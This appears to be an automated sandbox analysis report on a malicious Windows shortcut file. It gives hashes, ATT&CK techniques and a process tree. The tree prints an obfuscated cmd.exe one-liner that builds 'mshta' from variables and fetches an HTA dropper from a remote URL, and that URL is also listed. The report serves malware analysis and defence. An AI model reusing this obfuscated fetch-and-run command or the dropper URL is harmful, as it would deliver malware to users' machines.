6bbae29e6e65f1859d6d8a437ef8ad9915739b6a80064f8ba423917f7f1c1570

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-RIL3KO.lnk
Size 1KB
Sample260804-kaha1averd
SHA256 6bbae29e6e65f1859d6d8a437ef8ad9915739b6a80064f8ba423917f7f1c1570
MD5 22b603f942fa21accdfa40eaa7c8727f
SHA1 f8829b57ab15f6783e6374cbeca6021f73ae53a7
SHA512 28eaa5122f1853274b756aa1f312578216276eb1cda273c9146875ee3677123c4bd927cb196d608c61f3003c9b3a9fecc3c4c26925a199e4571b982106d04171
TLSH
T1803147503FFD0624F3B38FB694BB572485BAB8A68D20CA2D0141454C5172A15E17BFA7
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3212	cmd.exe
4812	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3212 wrote to memory of 4812	3212	cmd.exe	85
PID 4812 wrote to memory of 3516	4812	cmd.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-RIL3KO.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3212
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set CyF=msh&&set Sks=ta&&start "" !CyF!!Sks! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4812
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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